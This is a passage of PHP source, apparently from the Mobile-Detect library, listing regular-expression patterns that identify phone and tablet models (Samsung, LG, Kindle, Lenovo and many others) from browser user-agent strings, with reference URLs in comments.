'\bSamsung\b|SM-G950F|SM-G955F|SM-G9250|GT-19300|SGH-I337|BGT-S5230|GT-B2100|GT-B2700|GT-B2710|GT-B3210|GT-B3310|GT-B3410|GT-B3730|GT-B3740|GT-B5510|GT-B5512|GT-B5722|GT-B6520|GT-B7300|GT-B7320|GT-B7330|GT-B7350|GT-B7510|GT-B7722|GT-B7800|GT-C3010|GT-C3011|GT-C3060|GT-C3200|GT-C3212|GT-C3212I|GT-C3262|GT-C3222|GT-C3300|GT-C3300K|GT-C3303|GT-C3303K|GT-C3310|GT-C3322|GT-C3330|GT-C3350|GT-C3500|GT-C3510|GT-C3530|GT-C3630|GT-C3780|GT-C5010|GT-C5212|GT-C6620|GT-C6625|GT-C6712|GT-E1050|GT-E1070|GT-E1075|GT-E1080|GT-E1081|GT-E1085|GT-E1087|GT-E1100|GT-E1107|GT-E1110|GT-E1120|GT-E1125|GT-E1130|GT-E1160|GT-E1170|GT-E1175|GT-E1180|GT-E1182|GT-E1200|GT-E1210|GT-E1225|GT-E1230|GT-E1390|GT-E2100|GT-E2120|GT-E2121|GT-E2152|GT-E2220|GT-E2222|GT-E2230|GT-E2232|GT-E2250|GT-E2370|GT-E2550|GT-E2652|GT-E3210|GT-E3213|GT-I5500|GT-I5503|GT-I5700|GT-I5800|GT-I5801|GT-I6410|GT-I6420|GT-I7110|GT-I7410|GT-I7500|GT-I8000|GT-I8150|GT-I8160|GT-I8190|GT-I8320|GT-I8330|GT-I8350|GT-I8530|GT-I8700|GT-I8703|GT-I8910|GT-I9000|GT-I9001|GT-I9003|GT-I9010|GT-I9020|GT-I9023|GT-I9070|GT-I9082|GT-I9100|GT-I9103|GT-I9220|GT-I9250|GT-I9300|GT-I9305|GT-I9500|GT-I9505|GT-M3510|GT-M5650|GT-M7500|GT-M7600|GT-M7603|GT-M8800|GT-M8910|GT-N7000|GT-S3110|GT-S3310|GT-S3350|GT-S3353|GT-S3370|GT-S3650|GT-S3653|GT-S3770|GT-S3850|GT-S5210|GT-S5220|GT-S5229|GT-S5230|GT-S5233|GT-S5250|GT-S5253|GT-S5260|GT-S5263|GT-S5270|GT-S5300|GT-S5330|GT-S5350|GT-S5360|GT-S5363|GT-S5369|GT-S5380|GT-S5380D|GT-S5560|GT-S5570|GT-S5600|GT-S5603|GT-S5610|GT-S5620|GT-S5660|GT-S5670|GT-S5690|GT-S5750|GT-S5780|GT-S5830|GT-S5839|GT-S6102|GT-S6500|GT-S7070|GT-S7200|GT-S7220|GT-S7230|GT-S7233|GT-S7250|GT-S7500|GT-S7530|GT-S7550|GT-S7562|GT-S7710|GT-S8000|GT-S8003|GT-S8500|GT-S8530|GT-S8600|SCH-A310|SCH-A530|SCH-A570|SCH-A610|SCH-A630|SCH-A650|SCH-A790|SCH-A795|SCH-A850|SCH-A870|SCH-A890|SCH-A930|SCH-A950|SCH-A970|SCH-A990|SCH-I100|SCH-I110|SCH-I400|SCH-I405|SCH-I500|SCH-I510|SCH-I515|SCH-I600|SCH-I730|SCH-I760|SCH-I770|SCH-I830|SCH-I910|SCH-I920|SCH-I959|SCH-LC11|SCH-N150|SCH-N300|SCH-R100|SCH-R300|SCH-R351|SCH-R400|SCH-R410|SCH-T300|SCH-U310|SCH-U320|SCH-U350|SCH-U360|SCH-U365|SCH-U370|SCH-U380|SCH-U410|SCH-U430|SCH-U450|SCH-U460|SCH-U470|SCH-U490|SCH-U540|SCH-U550|SCH-U620|SCH-U640|SCH-U650|SCH-U660|SCH-U700|SCH-U740|SCH-U750|SCH-U810|SCH-U820|SCH-U900|SCH-U940|SCH-U960|SCS-26UC|SGH-A107|SGH-A117|SGH-A127|SGH-A137|SGH-A157|SGH-A167|SGH-A177|SGH-A187|SGH-A197|SGH-A227|SGH-A237|SGH-A257|SGH-A437|SGH-A517|SGH-A597|SGH-A637|SGH-A657|SGH-A667|SGH-A687|SGH-A697|SGH-A707|SGH-A717|SGH-A727|SGH-A737|SGH-A747|SGH-A767|SGH-A777|SGH-A797|SGH-A817|SGH-A827|SGH-A837|SGH-A847|SGH-A867|SGH-A877|SGH-A887|SGH-A897|SGH-A927|SGH-B100|SGH-B130|SGH-B200|SGH-B220|SGH-C100|SGH-C110|SGH-C120|SGH-C130|SGH-C140|SGH-C160|SGH-C170|SGH-C180|SGH-C200|SGH-C207|SGH-C210|SGH-C225|SGH-C230|SGH-C417|SGH-C450|SGH-D307|SGH-D347|SGH-D357|SGH-D407|SGH-D415|SGH-D780|SGH-D807|SGH-D980|SGH-E105|SGH-E200|SGH-E315|SGH-E316|SGH-E317|SGH-E335|SGH-E590|SGH-E635|SGH-E715|SGH-E890|SGH-F300|SGH-F480|SGH-I200|SGH-I300|SGH-I320|SGH-I550|SGH-I577|SGH-I600|SGH-I607|SGH-I617|SGH-I627|SGH-I637|SGH-I677|SGH-I700|SGH-I717|SGH-I727|SGH-i747M|SGH-I777|SGH-I780|SGH-I827|SGH-I847|SGH-I857|SGH-I896|SGH-I897|SGH-I900|SGH-I907|SGH-I917|SGH-I927|SGH-I937|SGH-I997|SGH-J150|SGH-J200|SGH-L170|SGH-L700|SGH-M110|SGH-M150|SGH-M200|SGH-N105|SGH-N500|SGH-N600|SGH-N620|SGH-N625|SGH-N700|SGH-N710|SGH-P107|SGH-P207|SGH-P300|SGH-P310|SGH-P520|SGH-P735|SGH-P777|SGH-Q105|SGH-R210|SGH-R220|SGH-R225|SGH-S105|SGH-S307|SGH-T109|SGH-T119|SGH-T139|SGH-T209|SGH-T219|SGH-T229|SGH-T239|SGH-T249|SGH-T259|SGH-T309|SGH-T319|SGH-T329|SGH-T339|SGH-T349|SGH-T359|SGH-T369|SGH-T379|SGH-T409|SGH-T429|SGH-T439|SGH-T459|SGH-T469|SGH-T479|SGH-T499|SGH-T509|SGH-T519|SGH-T539|SGH-T559|SGH-T589|SGH-T609|SGH-T619|SGH-T629|SGH-T639|SGH-T659|SGH-T669|SGH-T679|SGH-T709|SGH-T719|SGH-T729|SGH-T739|SGH-T746|SGH-T749|SGH-T759|SGH-T769|SGH-T809|SGH-T819|SGH-T839|SGH-T919|SGH-T929|SGH-T939|SGH-T959|SGH-T989|SGH-U100|SGH-U200|SGH-U800|SGH-V205|SGH-V206|SGH-X100|SGH-X105|SGH-X120|SGH-X140|SGH-X426|SGH-X427|SGH-X475|SGH-X495|SGH-X497|SGH-X507|SGH-X600|SGH-X610|SGH-X620|SGH-X630|SGH-X700|SGH-X820|SGH-X890|SGH-Z130|SGH-Z150|SGH-Z170|SGH-ZX10|SGH-ZX20|SHW-M110|SPH-A120|SPH-A400|SPH-A420|SPH-A460|SPH-A500|SPH-A560|SPH-A600|SPH-A620|SPH-A660|SPH-A700|SPH-A740|SPH-A760|SPH-A790|SPH-A800|SPH-A820|SPH-A840|SPH-A880|SPH-A900|SPH-A940|SPH-A960|SPH-D600|SPH-D700|SPH-D710|SPH-D720|SPH-I300|SPH-I325|SPH-I330|SPH-I350|SPH-I500|SPH-I600|SPH-I700|SPH-L700|SPH-M100|SPH-M220|SPH-M240|SPH-M300|SPH-M305|SPH-M320|SPH-M330|SPH-M350|SPH-M360|SPH-M370|SPH-M380|SPH-M510|SPH-M540|SPH-M550|SPH-M560|SPH-M570|SPH-M580|SPH-M610|SPH-M620|SPH-M630|SPH-M800|SPH-M810|SPH-M850|SPH-M900|SPH-M910|SPH-M920|SPH-M930|SPH-N100|SPH-N200|SPH-N240|SPH-N300|SPH-N400|SPH-Z400|SWC-E100|SCH-i909|GT-N7100|GT-N7105|SCH-I535|SM-N900A|SGH-I317|SGH-T999L|GT-S5360B|GT-I8262|GT-S6802|GT-S6312|GT-S6310|GT-S5312|GT-S5310|GT-I9105|GT-I8510|GT-S6790N|SM-G7105|SM-N9005|GT-S5301|GT-I9295|GT-I9195|SM-C101|GT-S7392|GT-S7560|GT-B7610|GT-I5510|GT-S7582|GT-S7530E|GT-I8750|SM-G9006V|SM-G9008V|SM-G9009D|SM-G900A|SM-G900D|SM-G900F|SM-G900H|SM-G900I|SM-G900J|SM-G900K|SM-G900L|SM-G900M|SM-G900P|SM-G900R4|SM-G900S|SM-G900T|SM-G900V|SM-G900W8|SHV-E160K|SCH-P709|SCH-P729|SM-T2558|GT-I9205|SM-G9350|SM-J120F|SM-G920F|SM-G920V|SM-G930F|SM-N910C|SM-A310F|GT-I9190|SM-J500FN|SM-G903F|SM-J330F',
'LG' => '\bLG\b;|LG[-
]?(C800|C900|E400|E610|E900|E-900|F160|F180K|F180L|F180S|730|855|L160|LS740|LS840|LS970|LU6200|MS690|MS695|MS770|MS840|MS870|MS910|P500|P700|P705|VM696|AS680|AS695|AX840|C729|E970|GS505|272|C395|E739BK|E960|L55C|L75C|LS696|LS860|P769BK|P350|P500|P509|P870|UN272|US730|VS840|VS950|LN272|LN510|LS670|LS855|LW690|MN270|MN510|P509|P769|P930|UN200|UN270|UN510|UN610|US670|US740|US760|UX265|UX840|VN271|VN530|VS660|VS700|VS740|VS750|VS910|VS920|VS930|VX9200|VX11000|AX840A|LW770|P506|P925|P999|E612|D955|D802|MS323|M257)|LM-G710',
'Sony' =>
'SonyST|SonyLT|SonyEricsson|SonyEricssonLT15iv|LT18i|E10i|LT28h|LT26w|SonyEricssonMT27i|C5303|C6902|C6903|C6906|C6943|D2533',
'Asus' => 'Asus.*Galaxy|PadFone.*Mobile',
'NokiaLumia' => 'Lumia [0-9]{3,4}',
// http://www.micromaxinfo.com/mobiles/smartphones
// Added because the codes might conflict with Acer Tablets.
'Micromax' =>
'Micromax.*\b(A210|A92|A88|A72|A111|A110Q|A115|A116|A110|A90S|A26|A51|A35|A54|A25|A27|A89|A68|A65|A57|A90)\b',
// @todo Complete the regex.
'Palm' => 'PalmSource|Palm', //
avantgo|blazer|elaine|hiptop|plucker|xiino ;
'Vertu' =>
'Vertu|Vertu.*Ltd|Vertu.*Ascent|Vertu.*Ayxta|Vertu.*Constellation(F|Quest)?|Vertu.*Monika|Vertu.*Signature',
// Just for fun ;)
// http://www.pantech.co.kr/en/prod/prodList.do?gbrand=VEGA (PANTECH)
// Most of the VEGA devices are legacy. PANTECH seem to be newer devices
based on Android.
'Pantech' =>
'PANTECH|IM-A850S|IM-A840S|IM-A830L|IM-A830K|IM-A830S|IM-A820L|IM-A810K|IM-A810S|IM-A800S|IM-T100K|IM-A725L|IM-A780L|IM-A775C|IM-A770K|IM-A760S|IM-A750K|IM-A740S|IM-A730S|IM-A720L|IM-A710K|IM-A690L|IM-A690S|IM-A650S|IM-A630K|IM-A600S|VEGA
PTL21|PT003|P8010|ADR910L|P6030|P6020|P9070|P4100|P9060|P5000|CDM8992|TXT8045|ADR8995|IS11PT|P2030|P6010|P8000|PT002|IS06|CDM8999|P9050|PT001|TXT8040|P2020|P9020|P2000|P7040|P7000|C790',
// http://www.fly-phone.com/devices/smartphones/ ; Included only
smartphones.
'Fly' =>
'IQ230|IQ444|IQ450|IQ440|IQ442|IQ441|IQ245|IQ256|IQ236|IQ255|IQ235|IQ245|IQ275|IQ240|IQ285|IQ280|IQ270|IQ260|IQ250',
// http://fr.wikomobile.com
'Wiko' => 'KITE
4G|HIGHWAY|GETAWAY|STAIRWAY|DARKSIDE|DARKFULL|DARKNIGHT|DARKMOON|SLIDE|WAX
4G|RAINBOW|BLOOM|SUNSET|GOA(?!nna)|LENNY|BARRY|IGGY|OZZY|CINK FIVE|CINK
PEAX|CINK PEAX 2|CINK SLIM|CINK SLIM 2|CINK +|CINK KING|CINK PEAX|CINK
SLIM|SUBLIM',
'iMobile' => 'i-mobile
(IQ|i-STYLE|idea|ZAA|Hitz)',
// Added simvalley mobile just for fun. They have some interesting
devices.
//
http://www.simvalley.fr/telephonie---gps-_22_telephonie-mobile_telephones_.html
'SimValley' =>
'\b(SP-80|XT-930|SX-340|XT-930|SX-310|SP-360|SP60|SPT-800|SP-120|SPT-800|SP-140|SPX-5|SPX-8|SP-100|SPX-8|SPX-12)\b',
// Wolfgang - a brand that is sold by Aldi supermarkets.
// http://www.wolfgangmobile.com/
'Wolfgang' =>
'AT-B24D|AT-AS50HD|AT-AS40W|AT-AS55HD|AT-AS45q2|AT-B26D|AT-AS50Q',
'Alcatel' => 'Alcatel',
'Nintendo' => 'Nintendo (3DS|Switch)',
// http://en.wikipedia.org/wiki/Amoi
'Amoi' => 'Amoi',
// http://en.wikipedia.org/wiki/INQ
'INQ' => 'INQ',
'OnePlus' => 'ONEPLUS',
// @Tapatalk is a mobile app;
http://support.tapatalk.com/threads/smf-2-0-2-os-and-browser-detection-plugin-and-tapatalk.15565/#post-79039
'GenericPhone' =>
'Tapatalk|PDA;|SAGEM|\bmmp\b|pocket|\bpsp\b|symbian|Smartphone|smartfon|treo|up.browser|up.link|vodafone|\bwap\b|nokia|Series40|Series60|S60|SonyEricsson|N900|MAUI.*WAP.*Browser',
];
/**
* List of tablet devices.
*
* @var array
*/
protected static $tabletDevices = [
// @todo: check for mobile friendly emails topic.
'iPad' => 'iPad|iPad.*Mobile',
// Removed |^.*Android.*Nexus(?!(?:Mobile).)*$
// @see #442
// @todo Merge NexusTablet into GoogleTablet.
'NexusTablet' =>
'Android.*Nexus[\s]+(7|9|10)',
// https://en.wikipedia.org/wiki/Pixel_C
'GoogleTablet' => 'Android.*Pixel C',
'SamsungTablet' =>
'SAMSUNG.*Tablet|Galaxy.*Tab|SC-01C|GT-P1000|GT-P1003|GT-P1010|GT-P3105|GT-P6210|GT-P6800|GT-P6810|GT-P7100|GT-P7300|GT-P7310|GT-P7500|GT-P7510|SCH-I800|SCH-I815|SCH-I905|SGH-I957|SGH-I987|SGH-T849|SGH-T859|SGH-T869|SPH-P100|GT-P3100|GT-P3108|GT-P3110|GT-P5100|GT-P5110|GT-P6200|GT-P7320|GT-P7511|GT-N8000|GT-P8510|SGH-I497|SPH-P500|SGH-T779|SCH-I705|SCH-I915|GT-N8013|GT-P3113|GT-P5113|GT-P8110|GT-N8010|GT-N8005|GT-N8020|GT-P1013|GT-P6201|GT-P7501|GT-N5100|GT-N5105|GT-N5110|SHV-E140K|SHV-E140L|SHV-E140S|SHV-E150S|SHV-E230K|SHV-E230L|SHV-E230S|SHW-M180K|SHW-M180L|SHW-M180S|SHW-M180W|SHW-M300W|SHW-M305W|SHW-M380K|SHW-M380S|SHW-M380W|SHW-M430W|SHW-M480K|SHW-M480S|SHW-M480W|SHW-M485W|SHW-M486W|SHW-M500W|GT-I9228|SCH-P739|SCH-I925|GT-I9200|GT-P5200|GT-P5210|GT-P5210X|SM-T311|SM-T310|SM-T310X|SM-T210|SM-T210R|SM-T211|SM-P600|SM-P601|SM-P605|SM-P900|SM-P901|SM-T217|SM-T217A|SM-T217S|SM-P6000|SM-T3100|SGH-I467|XE500|SM-T110|GT-P5220|GT-I9200X|GT-N5110X|GT-N5120|SM-P905|SM-T111|SM-T2105|SM-T315|SM-T320|SM-T320X|SM-T321|SM-T520|SM-T525|SM-T530NU|SM-T230NU|SM-T330NU|SM-T900|XE500T1C|SM-P605V|SM-P905V|SM-T337V|SM-T537V|SM-T707V|SM-T807V|SM-P600X|SM-P900X|SM-T210X|SM-T230|SM-T230X|SM-T325|GT-P7503|SM-T531|SM-T330|SM-T530|SM-T705|SM-T705C|SM-T535|SM-T331|SM-T800|SM-T700|SM-T537|SM-T807|SM-P907A|SM-T337A|SM-T537A|SM-T707A|SM-T807A|SM-T237|SM-T807P|SM-P607T|SM-T217T|SM-T337T|SM-T807T|SM-T116NQ|SM-T116BU|SM-P550|SM-T350|SM-T550|SM-T9000|SM-P9000|SM-T705Y|SM-T805|GT-P3113|SM-T710|SM-T810|SM-T815|SM-T360|SM-T533|SM-T113|SM-T335|SM-T715|SM-T560|SM-T670|SM-T677|SM-T377|SM-T567|SM-T357T|SM-T555|SM-T561|SM-T713|SM-T719|SM-T813|SM-T819|SM-T580|SM-T355Y?|SM-T280|SM-T817A|SM-T820|SM-W700|SM-P580|SM-T587|SM-P350|SM-P555M|SM-P355M|SM-T113NU|SM-T815Y|SM-T585|SM-T285|SM-T825|SM-W708|SM-T835|SM-T830|SM-T837V|SM-T720|SM-T510|SM-T387V',
// SCH-P709|SCH-P729|SM-T2558|GT-I9205 - Samsung Mega - treat them like a
regular phone.
// http://docs.aws.amazon.com/silk/latest/developerguide/user-agent.html
'Kindle' =>
'Kindle|Silk.*Accelerated|Android.*\b(KFOT|KFTT|KFJWI|KFJWA|KFOTE|KFSOWI|KFTHWI|KFTHWA|KFAPWI|KFAPWA|WFJWAE|KFSAWA|KFSAWI|KFASWI|KFARWI|KFFOWI|KFGIWI|KFMEWI)\b|Android.*Silk/[0-9.]+
like Chrome/[0-9.]+ (?!Mobile)',
// Only the Surface tablets with Windows RT are considered mobile.
// http://msdn.microsoft.com/en-us/library/ie/hh920767(v=vs.85).aspx
'SurfaceTablet' => 'Windows NT [0-9.]+;
ARM;.*(Tablet|ARMBJS)',
//
http://shopping1.hp.com/is-bin/INTERSHOP.enfinity/WFS/WW-USSMBPublicStore-Site/en_US/-/USD/ViewStandardCatalog-Browse?CatalogCategoryID=JfIQ7EN5lqMAAAEyDcJUDwMT
'HPTablet' => 'HP Slate (7|8|10)|HP ElitePad
900|hp-tablet|EliteBook.*Touch|HP 8|Slate 21|HP SlateBook 10',
// Watch out for PadFone, see #132.
// http://www.asus.com/de/Tablets_Mobile/Memo_Pad_Products/
'AsusTablet' =>
'^.*PadFone((?!Mobile).)*$|Transformer|TF101|TF101G|TF300T|TF300TG|TF300TL|TF700T|TF700KL|TF701T|TF810C|ME171|ME301T|ME302C|ME371MG|ME370T|ME372MG|ME172V|ME173X|ME400C|Slider
SL101|\bK00F\b|\bK00C\b|\bK00E\b|\bK00L\b|TX201LA|ME176C|ME102A|\bM80TA\b|ME372CL|ME560CG|ME372CG|ME302KL|
K010 | K011 | K017 | K01E
|ME572C|ME103K|ME170C|ME171C|\bME70C\b|ME581C|ME581CL|ME8510C|ME181C|P01Y|PO1MA|P01Z|\bP027\b|\bP024\b|\bP00C\b',
'BlackBerryTablet' => 'PlayBook|RIM Tablet',
'HTCtablet' => 'HTC_Flyer_P512|HTC Flyer|HTC
Jetstream|HTC-P715a|HTC EVO View 4G|PG41200|PG09410',
'MotorolaTablet' =>
'xoom|sholest|MZ615|MZ605|MZ505|MZ601|MZ602|MZ603|MZ604|MZ606|MZ607|MZ608|MZ609|MZ615|MZ616|MZ617',
'NookTablet' => 'Android.*Nook|NookColor|nook
browser|BNRV200|BNRV200A|BNTV250|BNTV250A|BNTV400|BNTV600|LogicPD
Zoom2',
// http://www.acer.ro/ac/ro/RO/content/drivers
// http://www.packardbell.co.uk/pb/en/GB/content/download (Packard Bell
is part of Acer)
// http://us.acer.com/ac/en/US/content/group/tablets
// http://www.acer.de/ac/de/DE/content/models/tablets/
// Can conflict with Micromax and Motorola phones codes.
'AcerTablet' => 'Android.*;
\b(A100|A101|A110|A200|A210|A211|A500|A501|A510|A511|A700|A701|W500|W500P|W501|W501P|W510|W511|W700|G100|G100W|B1-A71|B1-710|B1-711|A1-810|A1-811|A1-830)\b|W3-810|\bA3-A10\b|\bA3-A11\b|\bA3-A20\b|\bA3-A30',
//
http://eu.computers.toshiba-europe.com/innovation/family/Tablets/1098744/banner_id/tablet_footerlink/
// http://us.toshiba.com/tablets/tablet-finder
// http://www.toshiba.co.jp/regza/tablet/
'ToshibaTablet' =>
'Android.*(AT100|AT105|AT200|AT205|AT270|AT275|AT300|AT305|AT1S5|AT500|AT570|AT700|AT830)|TOSHIBA.*FOLIO',
//
http://www.nttdocomo.co.jp/english/service/developer/smart_phone/technical_info/spec/index.html
// http://www.lg.com/us/tablets
'LGTablet' =>
'\bL-06C|LG-V909|LG-V900|LG-V700|LG-V510|LG-V500|LG-V410|LG-V400|LG-VK810\b',
'FujitsuTablet' =>
'Android.*\b(F-01D|F-02F|F-05E|F-10D|M532|Q572)\b',
// Prestigio Tablets http://www.prestigio.com/support
'PrestigioTablet' =>
'PMP3170B|PMP3270B|PMP3470B|PMP7170B|PMP3370B|PMP3570C|PMP5870C|PMP3670B|PMP5570C|PMP5770D|PMP3970B|PMP3870C|PMP5580C|PMP5880D|PMP5780D|PMP5588C|PMP7280C|PMP7280C3G|PMP7280|PMP7880D|PMP5597D|PMP5597|PMP7100D|PER3464|PER3274|PER3574|PER3884|PER5274|PER5474|PMP5097CPRO|PMP5097|PMP7380D|PMP5297C|PMP5297C_QUAD|PMP812E|PMP812E3G|PMP812F|PMP810E|PMP880TD|PMT3017|PMT3037|PMT3047|PMT3057|PMT7008|PMT5887|PMT5001|PMT5002',
// http://support.lenovo.com/en_GB/downloads/default.page?#
'LenovoTablet' => 'Lenovo TAB|Idea(Tab|Pad)(
A1|A10| K1|)|ThinkPad([
]+)?Tablet|YT3-850M|YT3-X90L|YT3-X90F|YT3-X90X|Lenovo.*(S2109|S2110|S5000|S6000|K3011|A3000|A3500|A1000|A2107|A2109|A1107|A5500|A7600|B6000|B8000|B8080)(-|)(FL|F|HV|H|)|TB-X103F|TB-X304X|TB-X304F|TB-X304L|TB-X505F|TB-X505L|TB-X505X|TB-X605F|TB-X605L|TB-8703F|TB-8703X|TB-8703N|TB-8704N|TB-8704F|TB-8704X|TB-8704V|TB-7304F|TB-7304I|TB-7304X|Tab2A7-10F|Tab2A7-20F|TB2-X30L|YT3-X50L|YT3-X50F|YT3-X50M|YT-X705F|YT-X703F|YT-X703L|YT-X705L|YT-X705X|TB2-X30F|TB2-X30L|TB2-X30M|A2107A-F|A2107A-H|TB3-730F|TB3-730M|TB3-730X|TB-7504F|TB-7504X',
// http://www.dell.com/support/home/us/en/04/Products/tab_mob/tablets
'DellTablet' => 'Venue 11|Venue 8|Venue 7|Dell
Streak 10|Dell Streak 7',
// http://www.yarvik.com/en/matrix/tablets/
'YarvikTablet' =>
'Android.*\b(TAB210|TAB211|TAB224|TAB250|TAB260|TAB264|TAB310|TAB360|TAB364|TAB410|TAB411|TAB420|TAB424|TAB450|TAB460|TAB461|TAB464|TAB465|TAB467|TAB468|TAB07-100|TAB07-101|TAB07-150|TAB07-151|TAB07-152|TAB07-200|TAB07-201-3G|TAB07-210|TAB07-211|TAB07-212|TAB07-214|TAB07-220|TAB07-400|TAB07-485|TAB08-150|TAB08-200|TAB08-201-3G|TAB08-201-30|TAB09-100|TAB09-211|TAB09-410|TAB10-150|TAB10-201|TAB10-211|TAB10-400|TAB10-410|TAB13-201|TAB274EUK|TAB275EUK|TAB374EUK|TAB462EUK|TAB474EUK|TAB9-200)\b',
'MedionTablet' =>
'Android.*\bOYO\b|LIFE.*(P9212|P9514|P9516|S9512)|LIFETAB',
'ArnovaTablet' =>
'97G4|AN10G2|AN7bG3|AN7fG3|AN8G3|AN8cG3|AN7G3|AN9G3|AN7dG3|AN7dG3ST|AN7dG3ChildPad|AN10bG3|AN10bG3DT|AN9G2',
// http://www.intenso.de/kategorie_en.php?kategorie=33
// @todo: http://www.nbhkdz.com/read/b8e64202f92a2df129126bff.html -
investigate
'IntensoTablet' =>
'INM8002KP|INM1010FP|INM805ND|Intenso Tab|TAB1004',
// IRU.ru Tablets http://www.iru.ru/catalog/soho/planetable/
'IRUTablet' => 'M702pro',
'MegafonTablet' => 'MegaFon V9|\bZTE
V9\b|Android.*\bMT7A\b',
// http://www.e-boda.ro/tablete-pc.html
'EbodaTablet' => 'E-Boda
(Supreme|Impresspeed|Izzycomm|Essential)',
// http://www.allview.ro/produse/droseries/lista-tablete-pc/
'AllViewTablet' =>
'Allview.*(Viva|Alldro|City|Speed|All
TV|Frenzy|Quasar|Shine|TX1|AX1|AX2)',
// http://wiki.archosfans.com/index.php?title=Main_Page
// @note Rewrite the regex format after we add more UAs.
'ArchosTablet' => '\b(101G9|80G9|A101IT)\b|Qilive
97R|Archos5|\bARCHOS (70|79|80|90|97|101|FAMILYPAD|)(b|c|)(G10| Cobalt|
TITANIUM(HD|)| Xenon| Neon|XSK| 2| XS 2| PLATINUM| CARBON|GAMEPAD)\b',
// http://www.ainol.com/plugin.php?identifier=ainol&module=product
'AinolTablet' =>
'NOVO7|NOVO8|NOVO10|Novo7Aurora|Novo7Basic|NOVO7PALADIN|novo9-Spark',
'NokiaLumiaTablet' => 'Lumia 2520',
// @todo: inspect
http://esupport.sony.com/US/p/select-system.pl?DIRECTOR=DRIVER
// Readers
http://www.atsuhiro-me.net/ebook/sony-reader/sony-reader-web-browser
// http://www.sony.jp/support/tablet/
'SonyTablet' => 'Sony.*Tablet|Xperia Tablet|Sony
Tablet
S|SO-03E|SGPT12|SGPT13|SGPT114|SGPT121|SGPT122|SGPT123|SGPT111|SGPT112|SGPT113|SGPT131|SGPT132|SGPT133|SGPT211|SGPT212|SGPT213|SGP311|SGP312|SGP321|EBRD1101|EBRD1102|EBRD1201|SGP351|SGP341|SGP511|SGP512|SGP521|SGP541|SGP551|SGP621|SGP641|SGP612|SOT31|SGP771|SGP611|SGP612|SGP712',
//
http://www.support.philips.com/support/catalog/worldproducts.jsp?userLanguage=en&userCountry=cn&categoryid=3G_LTE_TABLET_SU_CN_CARE&title=3G%20tablets%20/%20LTE%20range&_dyncharset=UTF-8
'PhilipsTablet' =>
'\b(PI2010|PI3000|PI3100|PI3105|PI3110|PI3205|PI3210|PI3900|PI4010|PI7000|PI7100)\b',
// db + http://www.cube-tablet.com/buy-products.html
'CubeTablet' =>
'Android.*(K8GT|U9GT|U10GT|U16GT|U17GT|U18GT|U19GT|U20GT|U23GT|U30GT)|CUBE
U8GT',
// http://www.cobyusa.com/?p=pcat&pcat_id=3001
'CobyTablet' =>
'MID1042|MID1045|MID1125|MID1126|MID7012|MID7014|MID7015|MID7034|MID7035|MID7036|MID7042|MID7048|MID7127|MID8042|MID8048|MID8127|MID9042|MID9740|MID9742|MID7022|MID7010',
// http://www.match.net.cn/products.asp
'MIDTablet' =>
'M9701|M9000|M9100|M806|M1052|M806|T703|MID701|MID713|MID710|MID727|MID760|MID830|MID728|MID933|MID125|MID810|MID732|MID120|MID930|MID800|MID731|MID900|MID100|MID820|MID735|MID980|MID130|MID833|MID737|MID960|MID135|MID860|MID736|MID140|MID930|MID835|MID733|MID4X10',
// http://www.msi.com/support
// @todo Research the Windows Tablets.
'MSITablet' => 'MSI \b(Primo 73K|Primo
73L|Primo 81L|Primo 77|Primo 93|Primo 75|Primo 76|Primo 73|Primo 81|Primo
91|Primo 90|Enjoy 71|Enjoy 7|Enjoy 10)\b',
// @todo http://www.kyoceramobile.com/support/drivers/
// 'KyoceraTablet' => null,
// @todo
http://intexuae.com/index.php/category/mobile-devices/tablets-products/
// 'IntextTablet' => null,
// http://pdadb.net/index.php?m=pdalist&list=SMiT (NoName Chinese
Tablets)
// http://www.imp3.net/14/show.php?itemid=20454
'SMiTTablet' =>
'Android.*(\bMID\b|MID-560|MTV-T1200|MTV-PND531|MTV-P1101|MTV-PND530)',
// http://www.rock-chips.com/index.php?do=prod&pid=2
'RockChipTablet' =>
'Android.*(RK2818|RK2808A|RK2918|RK3066)|RK2738|RK2808A',
// http://www.fly-phone.com/devices/tablets/ ;
http://www.fly-phone.com/service/
'FlyTablet' => 'IQ310|Fly Vision',
// http://www.bqreaders.com/gb/tablets-prices-sale.html
'bqTablet' =>
'Android.*(bq)?.*\b(Elcano|Curie|Edison|Maxwell|Kepler|Pascal|Tesla|Hypatia|Platon|Newton|Livingstone|Cervantes|Avant|Aquaris
([E|M]10|M8))\b|Maxwell.*Lite|Maxwell.*Plus',
//
http://www.huaweidevice.com/worldwide/productFamily.do?method=index&directoryId=5011&treeId=3290
//
http://www.huaweidevice.com/worldwide/downloadCenter.do?method=index&directoryId=3372&treeId=0&tb=1&type=software
(including legacy tablets)
'HuaweiTablet' => 'MediaPad|MediaPad 7 Youth|IDEOS
S7|S7-201c|S7-202u|S7-101|S7-103|S7-104|S7-105|S7-106|S7-201|S7-Slim|M2-A01L|BAH-L09|BAH-W09|AGS-L09|CMR-AL19',
// Nec or Medias Tab
'NecTablet' => '\bN-06D|\bN-08D',
// Pantech Tablets: http://www.pantechusa.com/phones/
'PantechTablet' => 'Pantech.*P4100',
// Broncho Tablets: http://www.broncho.cn/ (hard to find)
'BronchoTablet' =>
'Broncho.*(N701|N708|N802|a710)',
// http://versusuk.com/support.html
'VersusTablet' =>
'TOUCHPAD.*[78910]|\bTOUCHTAB\b',
// http://www.zync.in/index.php/our-products/tablet-phablets
'ZyncTablet' => 'z1000|Z99
2G|z930|z990|z909|Z919|z900', // Removed "z999" because of
https://github.com/serbanghita/Mobile-Detect/issues/717
// http://www.positivoinformatica.com.br/www/pessoal/tablet-ypy/
'PositivoTablet' =>
'TB07STA|TB10STA|TB07FTA|TB10FTA',
// https://www.nabitablet.com/
'NabiTablet' => 'Android.*\bNabi',
'KoboTablet' => 'Kobo Touch|\bK080\b|\bVox\b
Build|\bArc\b Build',
// French Danew Tablets http://www.danew.com/produits-tablette.php
'DanewTablet' =>
'DSlide.*\b(700|701R|702|703R|704|802|970|971|972|973|974|1010|1012)\b',
// Texet Tablets and Readers http://www.texet.ru/tablet/
'TexetTablet' =>
